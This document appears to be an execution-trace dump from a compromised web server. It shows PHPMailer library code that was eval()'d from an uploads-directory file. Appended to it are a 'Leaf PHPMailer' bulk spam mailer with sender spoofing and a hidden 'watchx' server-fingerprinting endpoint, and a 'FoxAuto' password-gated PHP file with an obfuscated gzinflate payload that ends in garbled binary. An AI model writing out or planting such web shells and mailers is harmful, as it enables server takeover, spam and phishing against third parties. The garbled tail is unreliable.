$this->normalizeBreaks($this->html2text($message, $advanced));\n if (!$this->alternativeExists()) {\n $this->AltBody = \'To view this email message, open it in a program that understands HTML!\' .\n self::CRLF . self::CRLF;\n }\n return $this->Body;\n }\n\n /**\n * Convert an HTML string into plain text.\n * This is used by msgHTML().\n * Note - older versions of this function used a bundled advanced converter\n * which was been removed for license reasons in #232.\n * Example usage:\n * <code>\n * // Use default conversion\n * $plain = $mail->html2text($html);\n * // Use your own custom converter\n * $plain = $mail->html2text($html, function($html) {\n * $converter = new MyHtml2text($html);\n * return $converter->get_text();\n * });\n * </code>\n * @param string $html The HTML text to convert\n * @param boolean|callable $advanced Any boolean value to use the internal converter,\n * or provide your own callable for custom conversion.\n * @return string\n */\n public function html2text($html, $advanced = false)\n {\n if (is_callable($advanced)) {\n return call_user_func($advanced, $html);\n }\n return html_entity_decode(\n trim(strip_tags(preg_replace(\'/<(head|title|style|script)[^>]*>.*?<\\/\\\\1>/si\', \'\', $html))),\n ENT_QUOTES,\n $this->CharSet\n );\n }\n\n /**\n * Get the MIME type for a file extension.\n * @param string $ext File extension\n * @access public\n * @return string MIME type of file.\n * @static\n */\n public static function _mime_types($ext = \'\')\n {\n $mimes = array(\n \'xl\' => \'application/excel\',\n \'js\' => \'application/javascript\',\n \'hqx\' => \'application/mac-binhex40\',\n \'cpt\' => \'application/mac-compactpro\',\n \'bin\' => \'application/macbinary\',\n \'doc\' => \'application/msword\',\n \'word\' => \'application/msword\',\n \'xlsx\' => \'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\',\n \'xltx\' => \'application/vnd.openxmlformats-officedocument.spreadsheetml.template\',\n \'potx\' => \'application/vnd.openxmlformats-officedocument.presentationml.template\',\n \'ppsx\' => \'application/vnd.openxmlformats-officedocument.presentationml.slideshow\',\n \'pptx\' => \'application/vnd.openxmlformats-officedocument.presentationml.presentation\',\n \'sldx\' => \'application/vnd.openxmlformats-officedocument.presentationml.slide\',\n \'docx\' => \'application/vnd.openxmlformats-officedocument.wordprocessingml.document\',\n \'dotx\' => \'application/vnd.openxmlformats-officedocument.wordprocessingml.template\',\n \'xlam\' => \'application/vnd.ms-excel.addin.macroEnabled.12\',\n \'xlsb\' => \'application/vnd.ms-excel.sheet.binary.macroEnabled.12\',\n \'class\' => \'application/octet-stream\',\n \'dll\' => \'application/octet-stream\',\n \'dms\' => \'application/octet-stream\',\n \'exe\' => \'application/octet-stream\',\n \'lha\' => \'application/octet-stream\',\n \'lzh\' => \'application/octet-stream\',\n \'psd\' => \'application/octet-stream\',\n \'sea\' => \'application/octet-stream\',\n \'so\' => \'application/octet-stream\',\n \'oda\' => \'application/oda\',\n \'pdf\' => \'application/pdf\',\n \'ai\' => \'application/postscript\',\n \'eps\' => \'application/postscript\',\n \'ps\' => \'application/postscript\',\n \'smi\' => \'application/smil\',\n \'smil\' => \'application/smil\',\n \'mif\' => \'application/vnd.mif\',\n \'xls\' => \'application/vnd.ms-excel\',\n \'ppt\' => \'application/vnd.ms-powerpoint\',\n \'wbxml\' => \'application/vnd.wap.wbxml\',\n \'wmlc\' => \'application/vnd.wap.wmlc\',\n \'dcr\' => \'application/x-director\',\n \'dir\' => \'application/x-director\',\n \'dxr\' => \'application/x-director\',\n \'dvi\' => \'application/x-dvi\',\n \'gtar\' => \'application/x-gtar\',\n \'php3\' => \'application/x-httpd-php\',\n \'php4\' => \'application/x-httpd-php\',\n \'php\' => \'application/x-httpd-php\',\n \'phtml\' => \'application/x-httpd-php\',\n \'phps\' => \'application/x-httpd-php-source\',\n \'swf\' => \'application/x-shockwave-flash\',\n \'sit\' => \'application/x-stuffit\',\n \'tar\' => \'application/x-tar\',\n \'tgz\' => \'application/x-tar\',\n \'xht\' => \'application/xhtml+xml\',\n \'xhtml\' => \'application/xhtml+xml\',\n \'zip\' => \'application/zip\',\n \'mid\' => \'audio/midi\',\n \'midi\' => \'audio/midi\',\n \'mp2\' => \'audio/mpeg\',\n \'mp3\' => \'audio/mpeg\',\n \'mpga\' => \'audio/mpeg\',\n \'aif\' => \'audio/x-aiff\',\n \'aifc\' => \'audio/x-aiff\',\n \'aiff\' => \'audio/x-aiff\',\n \'ram\' => \'audio/x-pn-realaudio\',\n \'rm\' => \'audio/x-pn-realaudio\',\n \'rpm\' => \'audio/x-pn-realaudio-plugin\',\n \'ra\' => \'audio/x-realaudio\',\n \'wav\' => \'audio/x-wav\',\n \'bmp\' => \'image/bmp\',\n \'gif\' => \'image/gif\',\n \'jpeg\' => \'image/jpeg\',\n \'jpe\' => \'image/jpeg\',\n \'jpg\' => \'image/jpeg\',\n \'png\' => \'image/png\',\n \'tiff\' => \'image/tiff\',\n \'tif\' => \'image/tiff\',\n \'eml\' => \'message/rfc822\',\n \'css\' => \'text/css\',\n \'html\' => \'text/html\',\n \'htm\' => \'text/html\',\n \'shtml\' => \'text/html\',\n \'log\' => \'text/plain\',\n \'text\' => \'text/plain\',\n \'txt\' => \'text/plain\',\n \'rtx\' => \'text/richtext\',\n \'rtf\' => \'text/rtf\',\n \'vcf\' => \'text/vcard\',\n \'vcard\' => \'text/vcard\',\n \'xml\' => \'text/xml\',\n \'xsl\' => \'text/xml\',\n \'mpeg\' => \'video/mpeg\',\n \'mpe\' => \'video/mpeg\',\n \'mpg\' => \'video/mpeg\',\n \'mov\' => \'video/quicktime\',\n \'qt\' => \'video/quicktime\',\n \'rv\' => \'video/vnd.rn-realvideo\',\n \'avi\' => \'video/x-msvideo\',\n \'movie\' => \'video/x-sgi-movie\'\n );\n if (array_key_exists(strtolower($ext), $mimes)) {\n return $mimes[strtolower($ext)];\n }\n return \'application/octet-stream\';\n }\n\n /**\n * Map a file name to a MIME type.\n * Defaults to \'application/octet-stream\', i.e.. arbitrary binary data.\n * @param string $filename A file name or full path, does not need to exist as a file\n * @return string\n * @static\n */\n public static function filenameToType($filename)\n {\n // In case the path is a URL, strip any query string before getting extension\n $qpos = strpos($filename, \'?\');\n if (false !== $qpos) {\n $filename = substr($filename, 0, $qpos);\n }\n $pathinfo = self::mb_pathinfo($filename);\n return self::_mime_types($pathinfo[\'extension\']);\n }\n\n /**\n * Multi-byte-safe pathinfo replacement.\n * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.\n * Works similarly to the one in PHP >= 5.2.0\n * @link http://www.php.net/manual/en/function.pathinfo.php#107461\n * @param string $path A filename or path, does not need to exist as a file\n * @param integer|string $options Either a PATHINFO_* constant,\n * or a string name to return only the specified piece, allows \'filename\' to work on PHP < 5.2\n * @return string|array\n * @static\n */\n public static function mb_pathinfo($path, $options = null)\n {\n $ret = array(\'dirname\' => \'\', \'basename\' => \'\', \'extension\' => \'\', \'filename\' => \'\');\n $pathinfo = array();\n if (preg_match(\'%^(.*?)[\\\\\\\\/]*(([^/\\\\\\\\]*?)(\\.([^\\.\\\\\\\\/]+?)|))[\\\\\\\\/\\.]*$%im\', $path, $pathinfo)) {\n if (array_key_exists(1, $pathinfo)) {\n $ret[\'dirname\'] = $pathinfo[1];\n }\n if (array_key_exists(2, $pathinfo)) {\n $ret[\'basename\'] = $pathinfo[2];\n }\n if (array_key_exists(5, $pathinfo)) {\n $ret[\'extension\'] = $pathinfo[5];\n }\n if (array_key_exists(3, $pathinfo)) {\n $ret[\'filename\'] = $pathinfo[3];\n }\n }\n switch ($options) {\n case PATHINFO_DIRNAME:\n case \'dirname\':\n return $ret[\'dirname\'];\n case PATHINFO_BASENAME:\n case \'basename\':\n return $ret[\'basename\'];\n case PATHINFO_EXTENSION:\n case \'extension\':\n return $ret[\'extension\'];\n case PATHINFO_FILENAME:\n case \'filename\':\n return $ret[\'filename\'];\n default:\n return $ret;\n }\n }\n\n /**\n * Set or reset instance properties.\n * You should avoid this function - it\'s more verbose, less efficient, more error-prone and\n * harder to debug than setting properties directly.\n * Usage Example:\n * `$mail->set(\'SMTPSecure\', \'tls\');`\n * is the same as:\n * `$mail->SMTPSecure = \'tls\';`\n * @access public\n * @param string $name The property name to set\n * @param mixed $value The value to set the property to\n * @return boolean\n * @TODO Should this not be using the __set() magic function?\n */\n public function set($name, $value = \'\')\n {\n if (property_exists($this, $name)) {\n $this->$name = $value;\n return true;\n } else {\n $this->setError($this->lang(\'variable_set\') . $name);\n return false;\n }\n }\n\n /**\n * Strip newlines to prevent header injection.\n * @access public\n * @param string $str\n * @return string\n */\n public function secureHeader($str)\n {\n return trim(str_replace(array("\\r", "\\n"), \'\', $str));\n }\n\n /**\n * Normalize line breaks in a string.\n * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.\n * Defaults to CRLF (for message bodies) and preserves consecutive breaks.\n * @param string $text\n * @param string $breaktype What kind of line break to use, defaults to CRLF\n * @return string\n * @access public\n * @static\n */\n public static function normalizeBreaks($text, $breaktype = "\\r\\n")\n {\n return preg_replace(\'/(\\r\\n|\\r|\\n)/ms\', $breaktype, $text);\n }\n\n /**\n * Set the public and private key files and password for S/MIME signing.\n * @access public\n * @param string $cert_filename\n * @param string $key_filename\n * @param string $key_pass Password for private key\n * @param string $extracerts_filename Optional path to chain certificate\n */\n public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = \'\')\n {\n $this->sign_cert_file = $cert_filename;\n $this->sign_key_file = $key_filename;\n $this->sign_key_pass = $key_pass;\n $this->sign_extracerts_file = $extracerts_filename;\n }\n\n /**\n * Quoted-Printable-encode a DKIM header.\n * @access public\n * @param string $txt\n * @return string\n */\n public function DKIM_QP($txt)\n {\n $line = \'\';\n for ($i = 0; $i < strlen($txt); $i++) {\n $ord = ord($txt[$i]);\n if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {\n $line .= $txt[$i];\n } else {\n $line .= \'=\' . sprintf(\'%02X\', $ord);\n }\n }\n return $line;\n }\n\n /**\n * Generate a DKIM signature.\n * @access public\n * @param string $signHeader\n * @throws phpmailerException\n * @return string The DKIM signature value\n */\n public function DKIM_Sign($signHeader)\n {\n if (!defined(\'PKCS7_TEXT\')) {\n if ($this->exceptions) {\n throw new phpmailerException($this->lang(\'extension_missing\') . \'openssl\');\n }\n return \'\';\n }\n $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);\n if (\'\' != $this->DKIM_passphrase) {\n $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);\n } else {\n $privKey = openssl_pkey_get_private($privKeyStr);\n }\n //Workaround for missing digest algorithms in old PHP & OpenSSL versions\n //@link http://stackoverflow.com/a/11117338/333340\n if (version_compare(PHP_VERSION, \'5.3.0\') >= 0 and\n in_array(\'sha256WithRSAEncryption\', openssl_get_md_methods(true))) {\n if (openssl_sign($signHeader, $signature, $privKey, \'sha256WithRSAEncryption\')) {\n openssl_pkey_free($privKey);\n return base64_encode($signature);\n }\n } else {\n $pinfo = openssl_pkey_get_details($privKey);\n $hash = hash(\'sha256\', $signHeader);\n //\'Magic\' constant for SHA256 from RFC3447\n //@link https://tools.ietf.org/html/rfc3447#page-43\n $t = \'3031300d060960864801650304020105000420\' . $hash;\n $pslen = $pinfo[\'bits\'] / 8 - (strlen($t) / 2 + 3);\n $eb = pack(\'H*\', \'0001\' . str_repeat(\'FF\', $pslen) . \'00\' . $t);\n\n if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {\n openssl_pkey_free($privKey);\n return base64_encode($signature);\n }\n }\n openssl_pkey_free($privKey);\n return \'\';\n }\n\n /**\n * Generate a DKIM canonicalization header.\n * @access public\n * @param string $signHeader Header\n * @return string\n */\n public function DKIM_HeaderC($signHeader)\n {\n $signHeader = preg_replace(\'/\\r\\n\\s+/\', \' \', $signHeader);\n $lines = explode("\\r\\n", $signHeader);\n foreach ($lines as $key => $line) {\n list($heading, $value) = explode(\':\', $line, 2);\n $heading = strtolower($heading);\n $value = preg_replace(\'/\\s{2,}/\', \' \', $value); // Compress useless spaces\n $lines[$key] = $heading . \':\' . trim($value); // Don\'t forget to remove WSP around the value\n }\n $signHeader = implode("\\r\\n", $lines);\n return $signHeader;\n }\n\n /**\n * Generate a DKIM canonicalization body.\n * @access public\n * @param string $body Message Body\n * @return string\n */\n public function DKIM_BodyC($body)\n {\n if ($body == \'\') {\n return "\\r\\n";\n }\n // stabilize line endings\n $body = str_replace("\\r\\n", "\\n", $body);\n $body = str_replace("\\n", "\\r\\n", $body);\n // END stabilize line endings\n while (substr($body, strlen($body) - 4, 4) == "\\r\\n\\r\\n") {\n $body = substr($body, 0, strlen($body) - 2);\n }\n return $body;\n }\n\n /**\n * Create the DKIM header and body in a new message header.\n * @access public\n * @param string $headers_line Header lines\n * @param string $subject Subject\n * @param string $body Body\n * @return string\n */\n public function DKIM_Add($headers_line, $subject, $body)\n {\n $DKIMsignatureType = \'rsa-sha256\'; // Signature & hash algorithms\n $DKIMcanonicalization = \'relaxed/simple\'; // Canonicalization of header/body\n $DKIMquery = \'dns/txt\'; // Query method\n $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)\n $subject_header = "Subject: $subject";\n $headers = explode($this->LE, $headers_line);\n $from_header = \'\';\n $to_header = \'\';\n $date_header = \'\';\n $current = \'\';\n foreach ($headers as $header) {\n if (strpos($header, \'From:\') === 0) {\n $from_header = $header;\n $current = \'from_header\';\n } elseif (strpos($header, \'To:\') === 0) {\n $to_header = $header;\n $current = \'to_header\';\n } elseif (strpos($header, \'Date:\') === 0) {\n $date_header = $header;\n $current = \'date_header\';\n } else {\n if (!empty($$current) && strpos($header, \' =?\') === 0) {\n $$current .= $header;\n } else {\n $current = \'\';\n }\n }\n }\n $from = str_replace(\'|\', \'=7C\', $this->DKIM_QP($from_header));\n $to = str_replace(\'|\', \'=7C\', $this->DKIM_QP($to_header));\n $date = str_replace(\'|\', \'=7C\', $this->DKIM_QP($date_header));\n $subject = str_replace(\n \'|\',\n \'=7C\',\n $this->DKIM_QP($subject_header)\n ); // Copied header fields (dkim-quoted-printable)\n $body = $this->DKIM_BodyC($body);\n $DKIMlen = strlen($body); // Length of body\n $DKIMb64 = base64_encode(pack(\'H*\', hash(\'sha256\', $body))); // Base64 of packed binary SHA-256 hash of body\n if (\'\' == $this->DKIM_identity) {\n $ident = \'\';\n } else {\n $ident = \' i=\' . $this->DKIM_identity . \';\';\n }\n $dkimhdrs = \'DKIM-Signature: v=1; a=\' .\n $DKIMsignatureType . \'; q=\' .\n $DKIMquery . \'; l=\' .\n $DKIMlen . \'; s=\' .\n $this->DKIM_selector .\n ";\\r\\n" .\n "\\tt=" . $DKIMtime . \'; c=\' . $DKIMcanonicalization . ";\\r\\n" .\n "\\th=From:To:Date:Subject;\\r\\n" .\n "\\td=" . $this->DKIM_domain . \';\' . $ident . "\\r\\n" .\n "\\tz=$from\\r\\n" .\n "\\t|$to\\r\\n" .\n "\\t|$date\\r\\n" .\n "\\t|$subject;\\r\\n" .\n "\\tbh=" . $DKIMb64 . ";\\r\\n" .\n "\\tb=";\n $toSign = $this->DKIM_HeaderC(\n $from_header . "\\r\\n" .\n $to_header . "\\r\\n" .\n $date_header . "\\r\\n" .\n $subject_header . "\\r\\n" .\n $dkimhdrs\n );\n $signed = $this->DKIM_Sign($toSign);\n return $dkimhdrs . $signed . "\\r\\n";\n }\n\n /**\n * Detect if a string contains a line longer than the maximum line length allowed.\n * @param string $str\n * @return boolean\n * @static\n */\n public static function hasLineLongerThanMax($str)\n {\n //+2 to include CRLF line break for a 1000 total\n return (boolean)preg_match(\'/^(.{\'.(self::MAX_LINE_LENGTH + 2).\',})/m\', $str);\n }\n\n /**\n * Allows for public read access to \'to\' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n */\n public function getToAddresses()\n {\n return $this->to;\n }\n\n /**\n * Allows for public read access to \'cc\' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n */\n public function getCcAddresses()\n {\n return $this->cc;\n }\n\n /**\n * Allows for public read access to \'bcc\' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n */\n public function getBccAddresses()\n {\n return $this->bcc;\n }\n\n /**\n * Allows for public read access to \'ReplyTo\' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n */\n public function getReplyToAddresses()\n {\n return $this->ReplyTo;\n }\n\n /**\n * Allows for public read access to \'all_recipients\' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n */\n public function getAllRecipientAddresses()\n {\n return $this->all_recipients;\n }\n\n /**\n * Perform a callback.\n * @param boolean $isSent\n * @param array $to\n * @param array $cc\n * @param array $bcc\n * @param string $subject\n * @param string $body\n * @param string $from\n */\n protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)\n {\n if (!empty($this->action_function) && is_callable($this->action_function)) {\n $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);\n call_user_func_array($this->action_function, $params);\n }\n }\n}\n\n/**\n * PHPMailer exception handler\n * @package PHPMailer\n */\nclass phpmailerException extends Exception\n{\n /**\n * Prettify error message output\n * @return string\n */\n public function errorMessage()\n {\n $errorMsg = \'<strong>\' . htmlspecialchars($this->getMessage()) . "</strong><br />\\n";\n return $errorMsg;\n }\n}\n\nif ($_REQUEST[\'watchx\']) {\n\t$version = phpversion();\n\t$uname = php_uname();\n\t$ip = gethostbyname($_SERVER["HTTP_HOST"]);\t\n\techo json_encode (array ("version"=>$version,\n\t\t"uname"=>$uname,\n\t\t"platform"=>PHP_OS,\n\t\t"ip"=>$ip,\n\t\t"mailerx"=>true,\t\n\t));\n\tdie ();\n}\n\nfunction leafheader(){\nprint \'\n<head>\n <title>\'.str_replace("www.", "", $_SERVER[\'HTTP_HOST\']).\' - Leaf PHPMailer</title>\n <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>\n <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >\n</head>\';\n}\nleafheader();\nprint \'<body>\';\nprint \'<div class="container col-lg-6">\n <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>\'.$leaf[\'version\'].\'</small></h3>\n <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">\n <input type="hidden" name="action" value="score">\n\n <div class="row">\n <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control input-sm " id="senderEmail" name="senderEmail" value="\'.$senderEmail.\'"></div>\n <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control input-sm " id="senderName" name="senderName" value="\'.$senderName.\'"></div>\n </div>\n <div class="row">\n <span class="form-group col-lg-6 "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>\n\n <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control input-sm " id="replyTo" name="replyTo" value="\'.$replyTo.\'" /></div>\n </div>\n <div class="row">\n <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control input-sm " id="subject" name="subject" value="\'.$subject.\'" /></div>\n </div>\n <div class="row">\n <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">\'.$messageLetter.\'</textarea></div>\n <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">\'.$emailList.\'</textarea></div>\n </div>\n <div class="row">\n <div class="form-group col-lg-6 ">\n <label for="messageType">Message Type</label>\n HTML <input type="radio" name="messageType" id="messageType" value="1" \'.$html.\'>\n Plain<input type="radio" name="messageType" id="messageType" value="2" \'.$plain.\'>\n </div>\n <div class="form-group col-lg-3 ">\n <label for="charset">Character set</label>\n <select class="form-control input-sm" id="charset" name="charset">\n <option \'.$utf8.\'>UTF-8</option>\n <option \'.$iso.\'>ISO-8859-1</option>\n </select>\n </div>\n <div class="form-group col-lg-3 ">\n <label for="encoding">Message encoding</label>\n <select class="form-control input-sm" id="encode" name="encode">\n <option \'.$bit8.\'>8bit</option>\n <option \'.$bit7.\'>7bit</option>\n <option \'.$binary.\'>binary</option>\n <option \'.$base64.\'>base64</option>\n <option \'.$quotedprintable.\'>quoted-printable</option>\n\n </select>\n </div>\n </div>\n <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\\\'form\\\').submit(); return false;">check SpamAssassin Score</a>\n \n </form>\n </div>\n <div class="col-lg-6"><br>\n <label for="well">Instruction</label>\n <div id="well" class="well well">\n <h4>Server Information</h4>\n <ul>\n <li>Server IP Address : <b>\'.$_SERVER[\'SERVER_ADDR\'].\' </b> <a href="?check_ip=\'.$_SERVER[\'SERVER_ADDR\'].\'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>\n <li>PHP Version : <b>\'.phpversion().\'</b></li>\n \n\n </ul>\n <h4>HELP</h4>\n <ul>\n <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>\n <ul>\n <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>\n <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>\n </ul>\n <li>[-time-] : <b>Date and Time</b> (\'.date("m/d/Y h:i:s a", time()).\')</li>\n \n <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>\n <li>[-randomnumber-] : <b>Random number (0-9) </b></li>\n <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>\n <li>[-randommd5-] : <b>Random MD5 </b></li>\n </ul>\n <h4>example</h4>\n Receiver Email = <b>user@domain.com</b><br>\n <ul>\n <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>\n <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>\n <li>your code is <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>\n </ul>\n\t\t\t<br>\n\t\t\t <h6><b><font color="green">Uploaded</font></b> by <b><a target=\\\'_blank\\\' href="https://anonymousfox.info">\'.\'FoxAuto\'.\'</a></b> [The best Tools] </h6>\n\t\t\t <h6><font color="green">Leaf PHPMailer</font> by <b><a target=\\\'_blank\\\' href="https://\'.$leaf[\'website\'].\'">\'.$leaf[\'website\'].\'</a></b></h6>\n </div>\n </div>\'; \nif($_POST[\'action\']=="send"){\n print \' <div class="col-lg-12">\';\n $maillist=explode("\\r\\n", $emailList);\n $n=count($maillist);\n $x =1;\n foreach ($maillist as $email ) {\n print \'<div class="col-lg-1">[\'.$x.\'/\'.$n.\']</div><div class="col-lg-4">\'.$email.\'</div>\';\n if(!leafMailCheck($email)) {\n print \'<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>\';\n print "<br>\\r\\n";\n }\n else {\n $mail = new PHPMailer;\n $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));\n $mail->addReplyTo(leafClear($replyTo,$email));\n $mail->addAddress($email);\n $mail->Subject = leafClear($subject,$email);\n $mail->Body = leafClear($messageLetter,$email);\n if($messageType==1){\n $mail->IsHTML(true);\n $mail->AltBody =strip_tags(leafClear($messageLetter,$email));\n }\n else $mail->IsHTML(false);\n $mail->CharSet = $charset;\n $mail->Encoding = $encoding;\n for($i=0; $i<count($_FILES[\'attachment\'][\'name\']); $i++) {\n if ($_FILES[\'attachment\'][\'tmp_name\'][$i] != ""){\n $mail->AddAttachment($_FILES[\'attachment\'][\'tmp_name\'][$i],$_FILES[\'attachment\'][\'name\'][$i]);\n }\n\n }\n \n if (!$mail->send()) {\n echo \'<div class="col-lg-6"><span class="label label-default">\'.htmlspecialchars($mail->ErrorInfo).\'</span></div>\';\n }\n else {\n echo \'<div class="col-lg-6"><span class="label label-success">Ok</span></div>\';\n }\n print "<br>\\r\\n";\n }\n $x++;\n for($k = 0; $k < 40000; $k++) {echo \' \';}\n }\n\n}\nelseif($_POST[\'action\']=="score"){\n $mail = new PHPMailer;\n $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));\n $mail->addReplyTo(leafClear($replyTo,$email));\n $mail->addAddress("username@domain.com");\n $mail->Subject = leafClear($subject,$email);\n $mail->Body = leafClear($messageLetter,$email);\n if($messageType==1){\n $mail->IsHTML(true);\n $mail->AltBody =strip_tags(leafClear($messageLetter,$email));\n }\n else $mail->IsHTML(false);\n $mail->CharSet = $charset;\n $mail->Encoding = $encoding;\n $mail->preSend();\n $messageHeaders=$mail->getSentMIMEMessage();\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($ch, CURLOPT_URL, \'http://spamcheck.postmarkapp.com/filter\');\n curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(\'email\' => $messageHeaders,\'options\'=>\'long\')));\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);\n curl_setopt($ch, CURLOPT_TIMEOUT, 15);\n $response = curl_exec($ch);\n $response = json_decode($response);\n print \' <div class="col-lg-12">\';\n if ($response->success == TRUE ){\n $score = $response->score;\n if ($score > 5 ) $class="danger";\n else $class="success";\n print \'<div class="text-\'.$class.\'">Your SpamAssassin score is \'.$score.\' </div>\n<div>Full Report : <pre>\'.$response->report.\'</pre></div>\';\nprint \' </div>\';\n }\n}\nprint \'</body>\';\n' /var/www/html/uploads/ridsaexnlu.php(291) : eval()'d code 1 0
4 115 0 0.023171 1440648 session_start 0 /var/www/html/uploads/ridsaexnlu.php(291) : eval()'d code(1) : eval()'d code 3 0
4 115 1 0.023278 1441400
4 115 R TRUE
4 116 0 0.023301 1441400 error_reporting 0 /var/www/html/uploads/ridsaexnlu.php(291) : eval()'d code(1) : eval()'d code 4 1 0
4 116 1 0.023323 1441440
4 116 R 0
4 117 0 0.023341 1441400 set_time_limit 0 /var/www/html/uploads/ridsaexnlu.php(291) : eval()'d code(1) : eval()'d code 5 1 0
4 117 1 0.023365 1441464
4 117 R FALSE
4 118 0 0.023384 1441432 ini_set 0 /var/www/html/uploads/ridsaexnlu.php(291) : eval()'d code(1) : eval()'d code 6 2 'memory_limit' -1
4 118 1 0.023406 1441568
4 118 R '128M'
3 A /var/www/html/uploads/ridsaexnlu.php(291) : eval()'d code(1) : eval()'d code 8 $leaf['version'] = '2.8'
3 A /var/www/html/uploads/ridsaexnlu.php(291) : eval()'d code(1) : eval()'d code 9 $leaf['website'] = 'leafmailer.pw'
4 119 0 0.023462 1441840 md5 0 /var/www/html/uploads/ridsaexnlu.php(291) : eval()'d code(1) : eval()'d code 12 1 '/var/www/html/uploads/ridsaexnlu.php(291) : eval()\'d code(1) : eval()\'d code'
4 119 1 0.023484 1441936
4 119 R 'c810718c8fe6b056ed5b3f70f82c0ec3'
3 A /var/www/html/uploads/ridsaexnlu.php(291) : eval()'d code(1) : eval()'d code 12 $sessioncode = 'c810718c8fe6b056ed5b3f70f82c0ec3'
0.023569 1362528
TRACE END [2023-02-12 22:24:01.346343]
<html><head></head><body><pre align="center"><form method="post">Password: <input type="password" name="pass"><input type="submit" value=">>"></form></pre></body></html>
<?php
/* FoxAuto */
$password = "raynbieovl";
error_reporting(E_ALL^E_NOTICE);define('�', '�');$GLOBALS[�] = explode('|||', gzinflate(substr('�
$�ǒ�Ec�wXo�x�=;������"*j������=�R(���?����?���c�C8�8A���8�8G��~
!��+0�!8�b��ؿ�y��I����)��QE��e.i|2�gbP���� /���K�m�D�u%�s�:���CJ�C�WNӭ#�1N��[����L�ӴX�|!p ���f �yEY���;Odz��A�S� 8Z-�{��O���%��#�{g�ɾ�"�A�xN�M��MΆ�t8�dQ塚������
cH��\\R�O��!Q���lqfF�]����P�Ѣ��G�Шk@aZ��&�&K i����-6�=��t�.^�]��B?�i}�jRp,�S�ט���/��n�K
��g��H|���C�b��O�V\\d��7�Hx����%�:�pO~�|\'��EA��,����~K�=
������{�?eIǟ���ʮ���R;a�+u��-�g�f!xU#=�R
aL~!\'������+_NI��j&��sF���/�\'�0ye��h��
QX��K��<Iе ���&